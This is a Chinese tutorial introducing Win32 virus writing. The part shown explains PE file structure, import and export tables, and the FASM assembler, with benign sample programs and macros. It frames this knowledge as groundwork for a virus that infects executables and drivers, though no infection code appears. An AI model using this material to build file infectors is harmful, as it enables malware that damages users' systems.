Win32病毒入门 -- ring3篇
by pker / CVC.GB
1、声明
-------
本文仅仅是一篇讲述病毒原理的理论性文章,任何人如果通过本文中讲述的技术或利用本文
中的代码写出恶性病毒,造成的任何影响均与作者无关。
2、前言
-------
病毒是什么?病毒就是一个具有一定生物病毒特性,可以进行传播、感染的程序。病毒同样
是一个程序,只不过它经常做着一些正常程序不常做的事情而已,仅此而已。在这篇文章中
我们将揭开病毒的神秘面纱,动手写一个病毒(当然这个病毒是不具有破坏力的,仅仅是一
个良性病毒)。
在网上有很多病毒方面的入门文章,但大部分都很泛泛,并不适合真正的初学者。真正的高
手没有时间也不屑于写这样一篇详细的入门文章,所以我便萌发了写这样一篇文章的冲动,
一来是对自己的学习进行一下总结,二来也是想让像我一样的初学者能少走一些弯路。如果
你有一定的病毒编写基础,那么就此打住,这是一篇为对病毒编程完全没有概念的读者编写
的,是一篇超级入门的文章 :P
3、对读者的假设
---------------
没错,这是一篇完整、详细的入门文章,但是如果读者对编程还没有什么认识我想也不可能
顺利地读下去。本文要求读者:
1) 有基本的C/C++语言知识。因为文章中的很多结构的定义我使用的是C/C++的语法。
2) 有一定的汇编基础。在这篇文章中我们将使用FASM编译器,这个编译器对很多读者来说
可能很陌生,不过没关系,让我们一起来熟悉它 :P
3) 有文件格式的概念,知道一个可执行文件可以有ELF、MZ、LE、PE之分。
好了,让我们开始我们的病毒之旅吧!!!
4、PE文件结构
-------------
DOS下,可执行文件分为两种,一种是从CP/M继承来的COM小程序,另一种是EXE可执行文件,
我们称之为MZ文件。而Win32下,一种新的可执行文件可是取代了MZ文件,就是我们这一节
的主角 -- PE文件。
PE(Portable Executable File Format)称为可移植执行文件格式,我们可以用如下的表
来描述一个PE文件:
+-----------------------------+ --------------------------------------------
| DOS MZ文件头 | ^
+-----------------------------+ DOS部分
| DOS块 | v
+-----------------------------+ --------------------------------------------
| PE/0/0 | ^
+-----------------------------+ |
| IMAGE_FILE_HEADER结构 | PE文件头
+-----------------------------+ |
| IMAGE_OPTIONAL_HEADER32结构 | v
+-----------------------------+ --------------------------------------------
| |-----+ ^
| |-----+-----+ |
| n*IMAGE_SECTION_HEADER结构 |-----+-----+-----+ 节表
| |-----+-----+-----+-----+ |
| |-----+-----+-----+-----+-----+ v
+-----------------------------+ | | | | | --------------
| .text节 |<----+ | | | | ^
+-----------------------------+ | | | | |
| .data节 |<----------+ | | | |
+-----------------------------+ | | | |
| .idata节 |<----------------+ | | 节数据
+-----------------------------+ | | |
| .reloc节 |<----------------------+ | |
+-----------------------------+ | |
| ... |<----------------------------+ v
+-----------------------------+ --------------------------------------------
好了,各位读者请准备好,我们要对PE格式进行一次超高速洗礼,嘿嘿。
PE文件的头部是一个DOS MZ文件头,这是为了可执行文件的向下兼容性设计的。PE文件的DOS
部分分为两部分,一个是MZ文件头,另一部分是DOS块,这里面存放的是可执行代码部分。还
记得在DOS下运行一个PE文件时的情景么:“This program cannot be run in DOS mode.”。
没错,这就是DOS块(DOS Stub)完成的工作。下面我们先来看看MZ文件头的定义:
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header
WORD e_magic; // Magic number
WORD e_cblp; // Bytes on last page of file
WORD e_cp; // Pages in file
WORD e_crlc; // Relocations
WORD e_cparhdr; // Size of header in paragraphs
WORD e_minalloc; // Minimum extra paragraphs needed
WORD e_maxalloc; // Maximum extra paragraphs needed
WORD e_ss; // Initial (relative) SS value
WORD e_sp; // Initial SP value
WORD e_csum; // Checksum
WORD e_ip; // Initial IP value
WORD e_cs; // Initial (relative) CS value
WORD e_lfarlc; // File address of relocation table
WORD e_ovno; // Overlay number
WORD e_res[4]; // Reserved words
WORD e_oemid; // OEM identifier (for e_oeminfo)
WORD e_oeminfo; // OEM information; e_oemid specific
WORD e_res2[10]; // Reserved words
LONG e_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
其中e_magic就是鼎鼎大名的‘MZ’,这个我们并不陌生。后面的字段指明了入口地址、堆
栈位置和重定位表位置等。我们还要关心的一个字段是e_lfanew字段,它指定了真正的PE文
件头,这个地址总是经过8字节对齐的。
下面让我们来真正地走进PE文件,下面是PE文件头的定义:
typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
PE文件头的第一个双字是00004550h,即字符P、E和两个0。后面还有两个结构:
typedef struct _IMAGE_FILE_HEADER {
WORD Machine;
WORD NumberOfSections;
DWORD TimeDateStamp;
DWORD PointerToSymbolTable;
DWORD NumberOfSymbols;
WORD SizeOfOptionalHeader;
WORD Characteristics;
} IMAGE_FILE_HEADER, *PIMAGE_FILE_HEADER;
typedef struct _IMAGE_OPTIONAL_HEADER {
//
// Standard fields.
//
WORD Magic;
BYTE MajorLinkerVersion;
BYTE MinorLinkerVersion;
DWORD SizeOfCode;
DWORD SizeOfInitializedData;
DWORD SizeOfUninitializedData;
DWORD AddressOfEntryPoint;
DWORD BaseOfCode;
DWORD BaseOfData;
//
// NT additional fields.
//
DWORD ImageBase;
DWORD SectionAlignment;
DWORD FileAlignment;
WORD MajorOperatingSystemVersion;
WORD MinorOperatingSystemVersion;
WORD MajorImageVersion;
WORD MinorImageVersion;
WORD MajorSubsystemVersion;
WORD MinorSubsystemVersion;
DWORD Win32VersionValue;
DWORD SizeOfImage;
DWORD SizeOfHeaders;
DWORD CheckSum;
WORD Subsystem;
WORD DllCharacteristics;
DWORD SizeOfStackReserve;
DWORD SizeOfStackCommit;
DWORD SizeOfHeapReserve;
DWORD SizeOfHeapCommit;
DWORD LoaderFlags;
DWORD NumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];
} IMAGE_OPTIONAL_HEADER32, *PIMAGE_OPTIONAL_HEADER32;
我们先来看看IMAGE_FILE_HEADER。Machine字段指定了程序的运行平台。
NumberOfSections指定了文件中节(有关节的概念后面会有介绍)的数量。
TimeDataStamp是编译次文件的时间,它是从1969年12月31日下午4:00开始到创建为止的总
秒数。
PointerToSymbolTable指向调试符号表。NumberOfSymbols是调试符号的个数。这两个字段
我们不需要关心。
SizeOfOptionalHeader指定了紧跟在后面的IMAGE_OPTIONAL_HEADER结构的大小,它总等于
0e0h。
Characteristics是一个很重要的字段,它描述了文件的属性,它决定了系统对这个文件的
装载方式。下面是这个字段每个位的含义(略去了一些我们不需要关心的字段):
#define IMAGE_FILE_RELOCS_STRIPPED 0x0001 // 文件中不存在重定位信息
#define IMAGE_FILE_EXECUTABLE_IMAGE 0x0002 // 文件是可执行的
#define IMAGE_FILE_LARGE_ADDRESS_AWARE 0x0020 // 程序可以触及大于2G的地址
#define IMAGE_FILE_BYTES_REVERSED_LO 0x0080 // 小尾方式
#define IMAGE_FILE_32BIT_MACHINE 0x0100 // 32位机器
#define IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP 0x0400 // 不可在可移动介质上运行
#define IMAGE_FILE_NET_RUN_FROM_SWAP 0x0800 // 不可在网络上运行
#define IMAGE_FILE_SYSTEM 0x1000 // 系统文件
#define IMAGE_FILE_DLL 0x2000 // 文件是一个DLL
#define IMAGE_FILE_UP_SYSTEM_ONLY 0x4000 // 只能在单处理器计算机上运行
#define IMAGE_FILE_BYTES_REVERSED_HI 0x8000 // 大尾方式
下面我们再来看一下IMAGE_OPTIONAL_HEADER32结构,从字面上看好象这个结构是可选的,
其实则不然,它是每个PE文件不可缺少的部分。我们分别对每个字段进行讲解,同样我们仍
省略了一些我们不太关心的字段。
Magic字段可能是两个值:107h表示是一个ROM映像,10bh表示是一个EXE映像。
SizeOfCode表示代码节的总大小。
SizeOfInitializedData指定了已初始化数据节的大小,SizeOfUninitializedData包含未初
始化数据节的大小。
AddressOfEntryPoint是程序入口的RVA(关于RVA的概念将在后面介绍,这是PE文件中的一个
非常重要又非常容易混淆的概念)。如果我们要改变程序的执行入口则可以改变这个值 :P
BaseOfCode和BaseOfData分别是代码节和数据节的起始RVA。
ImageBase是程序建议的装载地址。如果可能的话系统将文件加载到ImageBase指定的地址,
如果这个地址被占用文件才被加载到其他地址上。由于每个程序的虚拟地址空间是独立的,
所以对于优先装入的EXE文件而言,其地址空间不可能被占用;而对于DLL,其装入的地址空
间要依具体程序的地址空间的使用状态而定,所以可能每次装载的地址是不同的。这还引出
了另一个问题就是,一般的EXE文件不需要定位表,而DLL文件必须要有一个重定位表。
SectionAligment和FileAligment分别是内存中和文件中的对齐粒度,正是由于程序在内存
中和文件中的对齐粒度不同才产生了RVA概念,后面提到。
SizeOfImage是内存中整个PE的大小。
SizeOfHeaders是所有头加节表的大小。
CheckSum是文件的校验和,对于一般的PE文件系统并不检查这个值。而对于系统文件,如驱
动等,系统会严格检查这个值,如果这个值不正确系统则不予以加载。
Subsystem指定文件的子系统。关于各个取值的定义如下:
#define IMAGE_SUBSYSTEM_UNKNOWN 0 // 未知子系统
#define IMAGE_SUBSYSTEM_NATIVE 1 // 不需要子系统
#define IMAGE_SUBSYSTEM_WINDOWS_GUI 2 // Windows图形界面
#define IMAGE_SUBSYSTEM_WINDOWS_CUI 3 // Windows控制台界面
#define IMAGE_SUBSYSTEM_OS2_CUI 5 // OS/2控制台界面
#define IMAGE_SUBSYSTEM_POSIX_CUI 7 // Posiz控制台界面
#define IMAGE_SUBSYSTEM_NATIVE_WINDOWS 8 // Win9x驱动程序,不需要子系统
#define IMAGE_SUBSYSTEM_WINDOWS_CE_GUI 9 // Windows CE子系统
NumberOfRvaAndSizes指定了数据目录结构的数量,这个数量一般总为16。
DataDirectory为数据目录。
下面是数据目录的定义:
typedef struct _IMAGE_DATA_DIRECTORY {
DWORD VirtualAddress;
DWORD Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;
VirtualAddress为数据的起始RVA,Size为数据块的长度。下面是数据目录列表的含义:
#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // 导出表
#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // 引入表
#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // 资源
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // 异常
#define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // 安全
#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // 重定位表
#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // 调试信息
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 // 版权信息
......
看到这里大家是不是很混乱呢?没办法,只能硬着头皮“啃”下去,把上面的内容再重新读
一遍... 下面我们继续,做好准备了么?我们开始啦!!
紧接着IMAGE_NT_HEADERS结构的是节表。什么是节表呢?别着急,我们先要清楚一下什么是
节。PE文件是按照节的方式组织的,比如:数据节、代码节、重定位节等。每个节有着自己
的属性,如:只读、只写、可读可写、可执行、可丢弃等。其实在执行一个PE文件的时候,
Windows并不是把整个PE文件一下读入内存,而是采用内存映射的机制。当程序执行到某个
内存页中的指令或者访问到某个内存页中的数据时,如果这个页在内存中那么就执行或访问,
如果这个页不在内存中而是在磁盘中,这时会引发一个缺页故障,系统会自动把这个页从交
换文件中提交的物理内存并重新执行故障指令。由于这时这个内存页已经提交到了物理内存
则程序可以继续执行。这样的机制使得文件装入的速度和文件的大小不成比例关系。
节表就是描述每个节属性的表,文件中有多少个节就有多少个节表。下面我们来看一下节表
的结构:
#define IMAGE_SIZEOF_SHORT_NAME 8
typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD VirtualSize;
} Misc;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
DWORD PointerToRelocations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
Name为一个8个字节的数组。定义了节的名字,如:.text等。习惯上我们把代码节称为.text,
把数据节称为.data,把重定位节称为.reloc,把资源节称为.rsrc等。但注意:这些名字不
是一定的,可一任意命名,千万不要通过节的名字来定位一个节。
Misc是一个联合。通常是VirtualSize有效。它指定了节的大小。这是节在没有进行对齐前的
大小。
VirtualAddress指定了这个节在被映射到内存中后的偏移地址,是一个RVA地址。这个地址是
经过对齐的,以SectionAlignment为对齐粒度。
PointerToRawData指定了节在磁盘文件中的偏移,注意不要与RVA混淆。
SizeOfRawData指定了节在文件中对齐后的大小,即VirtualSize的值根据FileAlignment粒度
对齐后的大小。
Characteristics同样又是一个很重要的字段。它指定了节的属性。下面是部分属性的定义:
#define IMAGE_SCN_CNT_CODE 0x00000020 // 节中包含代码
#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 // 节中包含已初始化数据
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 // 节中包含未初始化数据
#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000 // 是一个可丢弃的节,即
// 节中的数据在进程开始
// 后将被丢弃
#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000 // 节中数据不经过缓存
#define IMAGE_SCN_MEM_NOT_PAGED 0x08000000 // 节中数据不被交换出内存
#define IMAGE_SCN_MEM_SHARED 0x10000000 // 节中数据可共享
#define IMAGE_SCN_MEM_EXECUTE 0x20000000 // 可执行节
#define IMAGE_SCN_MEM_READ 0x40000000 // 可读节
#define IMAGE_SCN_MEM_WRITE 0x80000000 // 可写节
好了,是时候跟大家介绍RVA的概念了。这是一个大多数初学者经常搞不清楚的容易混淆的概
念。RVA是Relative Virtual Address的缩写,即相对虚拟地址。那么RVA到底代表什么呢?
简单的说就是,RVA是内存中相对装载基址的偏移。假设一个进程的装载地址为00400000h,
一个数据的地址为00401234h,那么这个数据的RVA为00401234h-00400000h=1234h。
好累啊... 不知道我的描述是否清楚呢?我想多数读者读到这里一定又是一头雾水吧?为什
么要将这么多关于PE文件的知识呢?(废什么话?这样的问题也拿出来问。呵呵,我好象听
到有人这么说了 :P)因为Win32下的可执行文件、DLL和驱动等都是PE格式的,我们的病毒
要感染它们,所以必须要把整个PE格式烂熟于心。
其实关于PE文件我们还有导入表、导出表、重定位表、资源等很多内容没有讲。但是为了让
读者能够减轻一些负担,所以把这些内容穿插在后面的小节中,直到涉及到相关知识时我们
再进行讲解。
下面我们准备进入下一节,在进入下一节之前我建议读者把前面的内容再巩固一遍,在后面
的一节中我们要向大家介绍一款相当优秀的编译器 ---- FASM(Flat Assembler)。为什么
我要推荐它呢?一会儿你就会知道 :P
5、关于FASM
-----------
下面我们用FASM来编写我们的第一个程序。我们可以编写如下代码:
format PE GUI 4.0
entry __start
section '.text' code readable executable
__start:
ret
我们把这个文件存为test.asm并编译它:
fasm test.asm test.exe
没有任何烦人的参数,很方便,不是么? :P
我们先来看一下这个程序的结构。第一句是format指示字,它指定了程序的类型,PE表示我
们编写的是一个PE文件,后面的GUI指示编译器我们将使用Windows图形界面。如果要编写一
个控制台应用程序则可以指定为CONSOLE。如果要写一个内核驱动,可以指定为NATIVE,表示
不需要子系统支持。最后的4.0指定了子系统的版本号(还记得前面的MajorSubsystemVersion
和MinorSubsystemVersion么?)。
下面一行指定了程序的入口为__start。
section指示字表示我们要开始一个新节。我们的程序只有一个节,即代码节,我们将其命名
为.text,并指定节属性为只读(readable)和可执行(executable)。
之后就是我们的代码了,我们仅仅用一条ret指令返回系统,这时堆栈里的返回地址为Exit-
Thread,所以程序直接退出。
下面运行它,程序只是简单地退出了,我们成功地用FASM编写了一个程序!我们已经迈出了
第一步,下面要让我们的程序可以做点什么。我们想要调用一个API,我们要怎么做呢?让
我们再来充充电吧 :D
5.1、导入表
-----------
我们编写如下代码并用TASM编译:
;
; tasm32 /ml /m5 test.asm
; tlink32 -Tpe -aa test.obj ,,, import32.lib
;
ideal
p586
model use32 flat
extrn MessageBoxA:near
dataseg
str_hello db 'Hello',0
codeseg
__start:
push 0
push offset str_hello
push offset str_hello
push 0
call MessageBoxA
ret
end __start
下面我们用w32dasm反汇编,得到:
:00401000 6A00 push 00000000
:00401002 6800204000 push 00402000
:00401007 6800204000 push 00402000
:0040100C 6A00 push 00000000
:0040100E E801000000 call 00401014
:00401013 C3 ret
:00401014 FF2530304000 jmp dword ptr [00403030]
可以看到代码中的call MessageBoxA被翻译成了call 00401014,在这个地址处是一个跳转
指令jmp dword ptr [00403030],我们可以确定在地址00403030处存放的是MessageBoxA的
真正地址。
其实这个地址是位于PE文件的导入表中的。下面我们继续我们的PE文件的学习。我们先来看
一下导入表的结构。导入表是由一系列的IMAGE_IMPORT_DESCRIPTOR结构组成的。结构的个
数由文件引用的DLL个数决定,文件引用了多少个DLL就有多少个IMAGE_IMPORT_DESCRIPTOR
结构,最后还有一个全为零的IMAGE_IMPORT_DESCRIPTOR作为结束。
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
DWORD Characteristics;
DWORD OriginalFirstThunk;
};
DWORD TimeDateStamp;
DWORD ForwarderChain;
DWORD Name;
DWORD FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
Name字段是一个RVA,指定了引入的DLL的名字。
OriginalFirstThunk和FirstThunk在一个PE没有加载到内存中的时候是一样的,都是指向一
个IMAGE_THUNK_DATA结构数组。最后以一个内容为0的结构结束。其实这个结构就是一个双
字。这个结构很有意思,因为在不同的时候这个结构代表着不同的含义。当这个双字的最高
位为1时,表示函数是以序号的方式导入的;当最高位为0时,表示函数是以名称方式导入的,
这是这个双字是一个RVA,指向一个IMAGE_IMPORT_BY_NAME结构,这个结构用来指定导入函数
名称。
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
BYTE Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
Hint字段表示一个序号,不过因为是按名称导入,所以这个序号一般为零。
Name字段是函数的名称。
下面我们用一张图来说明这个复杂的过程。假设一个PE引用了kernel32.dll中的LoadLibraryA
和GetProcAddress,还有一个按序号导入的函数80010002h。
IMAGE_IMPORT_DESCRIPTOR IMAGE_IMPORT_BY_NAME
+--------------------+ +--> +------------------+ +-----------------------+
| OriginalFirstThunk | --+ | IMAGE_THUNK_DATA | --> | 023B | ExitProcess | <--+
+--------------------+ +------------------+ +-----------------------+ |
| TimeDataStamp | | IMAGE_THUNK_DATA | --> | 0191 | GetProcAddress | <--+--+
+--------------------+ +------------------+ +-----------------------+ | |
| ForwarderChain | | 80010002h | | |
+--------------------+ +------------------+ +---> +------------------+ | |
| Name | --+ | 0 | | | IMAGE_THUNK_DATA | ---+ |
+--------------------+ | +------------------+ | +------------------+ |
| FirstThunk |-+ | | | IMAGE_THUNK_DATA | ------+
+--------------------+ | | +------------------+ | +------------------+
| +--> | kernel32.dll | | | 80010002h |
| +------------------+ | +------------------+
| | | 0 |
+------------------------------+ +------------------+
还记得前面我们说过在一个PE没有被加载到内存中的时候IMAGE_IMPORT_DESCRIPTOR中的
OriginalFirstThunk和FirstThunk是相同的,那么为什么Windows要占用两个字段呢?其实
是这样的,在PE文件被PE加载器加载到内存中的时候这个加载器会自动把FirstThunk的值替
换为API函数的真正入口,也就是那个前面jmp的真正地址,而OriginalFirstThunk只不过是
用来反向查找函数名而已。
好了,又讲了这么多是要做什么呢?你马上就会看到。下面我们就来构造我们的导入表。
我们用以下代码来开始我们的引入节:
section '.idata' import data readable
section指示字表示我们要开始一个新节。.idata是这个新节的名称。import data表示这是
一个引入节。readable表示这个节的节属性是只读的。
假设我们的程序只需要引入user32.dll中的MessageBoxA函数,那么我们的引入节只有一个
描述这个dll的IMAGE_IMPORT_DESCRIPTOR和一个全0的结构。考虑如下代码:
dd 0 ; 我们并不需要OriginalFirstThunk
dd 0 ; 我们也不需要管这个时间戳
dd 0 ; 我们也不关心这个链
dd RVA usr_dll ; 指向我们的DLL名称的RVA
dd RVA usr_thunk ; 指向我们的IMAGE_IMPORT_BY_NAME数组的RVA
; 注意这个数组也是以0结尾的
dd 0,0,0,0,0 ; 结束标志
上面用到了一个RVA伪指令,它指定的地址在编译时被自动写为对应的RVA值。下面定义我们
要引入的动态链接库的名字,这是一个以0结尾的字符串:
usr_dll db 'user32.dll',0
还有我们的IMAGE_THUNK_DATA:
usr_thunk:
MessageBox dd RVA __imp_MessageBox
dd 0 ; 结束标志
上面的__imp_MessageBox在编译时由于前面有RVA指示,所以表示是IMAGE_IMPORT_BY_NAME的
RVA。下面我们定义这个结构:
__imp_MessageBox dw 0 ; 我们不按序号导入,所以可以
; 简单地置0
db 'MessageBoxA',0 ; 导入的函数名
好了,我们完成了导入表的建立。下面我们来看一个完整的程序,看看一个完整的FASM程序
是多么的漂亮 :P
format PE GUI 4.0
entry __start
;
; data section...
;
section '.data' data readable
pszText db 'Hello, FASM world!',0
pszCaption db 'Flat Assembler',0
;
; code section...
;
section '.text' code readable executable
__start:
push 0
push pszCaption
push pszText
push 0
call [MessageBox]
push 0
call [ExitProcess]
;
; import section...
;
section '.idata' import data readable
; image import descriptor
dd 0,0,0,RVA usr_dll,RVA usr_thunk
dd 0,0,0,RVA krnl_dll,RVA krnl_thunk
dd 0,0,0,0,0
; dll name
usr_dll db 'user32.dll',0
krnl_dll db 'kernel32.dll',0
; image thunk data
usr_thunk:
MessageBox dd RVA __imp_MessageBox
dd 0
krnl_thunk:
ExitProcess dd RVA __imp_ExitProcess
dd 0
; image import by name
__imp_MessageBox dw 0
db 'MessageBoxA',0
__imp_ExitProcess dw 0
db 'ExitProcess',0
看到这里我相信大家都对FASM这个编译器有了一个初步的认识,也一定有很多读者会说:“
这么麻烦啊,干吗要用这个编译器呢?”。是的,也许上面的代码看起来很复杂,编写起来
也很麻烦,但FASM的一个好处在于我们可以更主动地控制我们生成的PE文件结构,同时能对
PE文件有更理性的认识。不过每个人的口味不同,嘿嘿,也许上面的理由还不够说服各位读
者,没关系,选择一款适合你的编译器吧,它们都同样出色 :P
5.2、导出表
-----------
通过导入表的学习,我想各位读者已经对PE文件的学习过程有了自己认识和方法,所以下面
关于导出表的一节我将加快一些速度。“朋友们注意啦!!! @#$%$%^” :D
在导出表的起始位置是一个IMAGE_EXPORT_DIRECTORY结构,但与引入表不同的是在导出表中
只有一个这个结构。下面我们来看一下这个结构的定义:
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
DWORD Name;
DWORD Base;
DWORD NumberOfFunctions;
DWORD NumberOfNames;
DWORD AddressOfFunctions; // RVA from base of image
DWORD AddressOfNames; // RVA from base of image
DWORD AddressOfNameOrdinals; // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
Characteristics、MajorVersion和MinorVersion不使用,一般为0。
TimeDataStamp是时间戳。
Name字段是一个RVA值,它指向了这个模块的原始名称。这个名称与编译后的文件名无关。
Base字段指定了导出函数序号的起始序号。假如Base的值为n,那么导出函数入口地址表中
的第一个函数的序号就是n,第二个就是n+1...
NumberOfFunctions指定了导出函数的总数。
NumberOfNames指定了按名称导出的函数的总数。按序号导出的函数总数就是这个值与到处
总数NumberOfFunctions的差。
AddressOfFunctions字段是一个RVA值,指向一个RVA数组,数组中的每个RVA均指向一个导
出函数的入口地址。数组的项数等于NumberOfFuntions。
AddressOfNames字段是一个RVA值,同样指向一个RVA数组,数组中的每个双字是一个指向函
数名字符串的RVA。数组的项数等于NumberOfNames。
AddressOfNameOrdinals字段是一个RVA值,它指向一个字数组,注意这里不再是双字了!!
这个数组起着很重要的作用,它的项数等于NumberOfNames,并与AddressOfNames指向的数组
一一对应。其每个项目的值代表了这个函数在入口地址表中索引。现在我们来看一个例子,
假如一个导出函数Foo在导出入口地址表中处于第m个位置,我们查找Ordinal数组的第m项,
假设这个值为x,我们把这个值与导出序号的起始值Base的值n相加得到的值就是函数在入口
地址表中索引。
下图表示了导出表的结构和上述过程:
+-----------------------+ +-----------------+
| Characteristics | +----> | 'dlltest.dll',0 |
+-----------------------+ | +-----------------+
| TimeDataStamp | |
+-----------------------+ | +-> +-----------------+
| MajorVersion | | | 0 | 函数入口地址RVA | ==> 函数Foo,序号n+0 <--+
+-----------------------+ | | +-----------------+ |
| MinorVersion | | | | ... | |
+-----------------------+ | | +-----------------+ |
| Name | -+ | x | 函数入口地址RVA | ==> 按序号导出,序号为n+x |
+-----------------------+ | +-----------------+ |
| Base(假设值为n) | | | ... | |
+-----------------------+ | +-----------------+ |
| NumberOfFunctions | | |
+-----------------------+ | +-> +-----+ +----------+ +-----+ <-+ |
| NumberOfNames | | | | RVA | --> | '_foo',0 | <==> | 0 | --+---+
+-----------------------+ | | +-----+ +----------+ +-----+ |
| AddressOfFunctions | ----+ | | ... | | ... | |
+-----------------------+ | +-----+ +-----+ |
| AddressOfNames | -------+ |
+-----------------------+ |
| AddressOfNameOrdinals | ---------------------------------------------------+
+-----------------------+
好了,下面我们来看构键我们的导出表。假设我们按名称导出一个函数_foo。我们以如下代
码开始:
section '.edata' export data readable
接着是IMAGE_EXPORT_DIRECTORY结构:
dd 0 ; Characteristics
dd 0 ; TimeDataStamp
dw 0 ; MajorVersion
dw 0 ; MinorVersion
dd RVA dll_name ; RVA,指向DLL名称
dd 0 ; 起始序号为0
dd 1 ; 只导出一个函数
dd 1 ; 这个函数是按名称方式导出的
dd RVA addr_tab ; RVA,指向导出函数入口地址表
dd RVA name_tab ; RVA,指向函数名称地址表
dd RVA ordinal_tab ; RVA,指向函数索引表
下面我们定义DLL名称:
dll_name db 'foo.dll',0 ; DLL名称,编译的文件名可以与它不同
接下来是导出函数入口地址表和函数名称地址表,我们要导出一个叫_foo的函数:
addr_tab dd RVA _foo ; 函数入口地址
name_tab dd RVA func_name
func_name db '_foo',0 ; 函数名称
最后是函数索引表:
ordinal_tab dw 0 ; 只有一个按名称导出函数,序号为0
下面我们看一个完整的程序:
format PE GUI 4.0 DLL at 76000000h
entry _dll_entry
;
; data section...
;
section '.data' data readable
pszText db 'Hello, FASM world!',0
pszCaption db 'Flat Assembler',0
;
; code section...
;
section '.text' code readable executable
_foo:
push 0
push pszCaption
push pszText
push 0
call [MessageBox]
ret
_dll_entry:
xor eax,eax
inc eax
ret 0ch
;
; import section...
;
section '.idata' import data readable
; image import descriptor
dd 0,0,0,RVA usr_dll,RVA usr_thunk
dd 0,0,0,RVA krnl_dll,RVA krnl_thunk
dd 0,0,0,0,0
; dll name
usr_dll db 'user32.dll',0
krnl_dll db 'kernel32.dll',0
; image thunk data
usr_thunk:
MessageBox dd RVA __imp_MessageBox
dd 0
krnl_thunk:
ExitProcess dd RVA __imp_ExitProcess
dd 0
; image import by name
__imp_MessageBox dw 0
db 'MessageBoxA',0
__imp_ExitProcess dw 0
db 'ExitProcess',0
;
; export section...
;
section '.edata' export data readable
; image export directory
dd 0,0,0,RVA dll_name,0,1,1
dd RVA addr_tab
dd RVA name_tab
dd RVA ordinal_tab
; dll name
dll_name db 'foo.dll',0
; function address table
addr_tab dd RVA _foo
; function name table
name_tab dd RVA ex_foo
; export name table
ex_foo db '_foo',0
; ordinal table
ordinal_tab dw 0
;
; relocation section...
;
section '.reloc' fixups data discardable
程序的一开始用format指定了PE和GUI,在子系统版本号的后面我们使用了DLL指示字,表示
这是一个DLL文件。最后还有一个at关键字,指示了文件的image base。
程序的最后一个节是重定位节,对于重定位表我不做过多解释,有兴趣的读者可以参考其他
书籍或文章。我们可以把刚才的程序编译成一个DLL:
fasm foo.asm foo.dll
下面我们编写一个测试程序检验程序的正确性:
#include
int __stdcall WinMain (HINSTANCE,HINSTANCE,LPTSTR,int)
{
HMODULE hFoo=LoadLibrary ("foo.dll");
FARPROC _foo=GetProcAddress (hFoo,"_foo");
_foo ();
FreeLibrary (hFoo);
return 0;
}
我们把编译后的exe和刚才的dll放在同一个目录下并运行,看看程序运行是否正确 :P
5.3、强大的宏
-------------
关于FASM,还有一个强大的功能就是宏。大家对宏一定都不陌生,下面我们来看看在FASM中
如何定义宏。假设我们要编写一个复制字符串的宏,其中源、目的串由ESI和EDI指定,我们
可以:
macro @copysz
{
local next_char
next_char:
lodsb
stosb
or al,al
jnz next_char
}
下面我们再来看一个带参数的宏定义:
macro @stosd _dword
{
mov eax,_dword
stosd
}
如果我们要多次存入几个不同的双字我们可以简单地在定义宏时把参数用中括号括起来,比
如:
macro @stosd [_dword]
{
mov eax,_dword
stosd
}
这样当我们调用@stosd 1,2,3的时候,我们的代码被编译成:
mov eax,1
stosd
mov eax,2
stosd
mov eax,3
stosd
对于这种多参数的宏,FASM提供了三个伪指令common、forward和reverse。他们把宏代码分
成块并分别处理。下面我分别来介绍:
forward限定的块表示指令块对参数进行顺序处理,比如上面的宏,如果把上面的代码定义在
forward块中,我们可以得到相同的结果。对于forward块我们可以这样定义
macro @stosd [_dword]
{
forward
mov eax,_dword
stosd
}
reverse和forward正好相反,表示指令块对参数进行反向处理。对于上面的指令块如果用
reverse限定,那么我们的参数将被按照相反的顺序存入内存。
macro @stosd [_dword]
{
reverse
mov eax,_dword
stosd
}
这时当我们调用@stosd 1,2,3的时候,我们的代码被编译成:
mov eax,3
stosd
mov eax,2
stosd
mov eax,1
stosd
common限定的块将仅被处理处理一次。我们现在编写一个调用API的宏@invoke:
macro @invoke _api,[_argv]
{
reverse
push _argv
common
call [_api]
}
现在我们可以使用这个宏来调用API了,比如:
@invoke MessageBox,0,pszText,pszCaption,0
对于宏的使用我们就介绍这些,更多的代码可以参看我的useful.inc(其中有很多29A的宏,
tnx 29a :P)
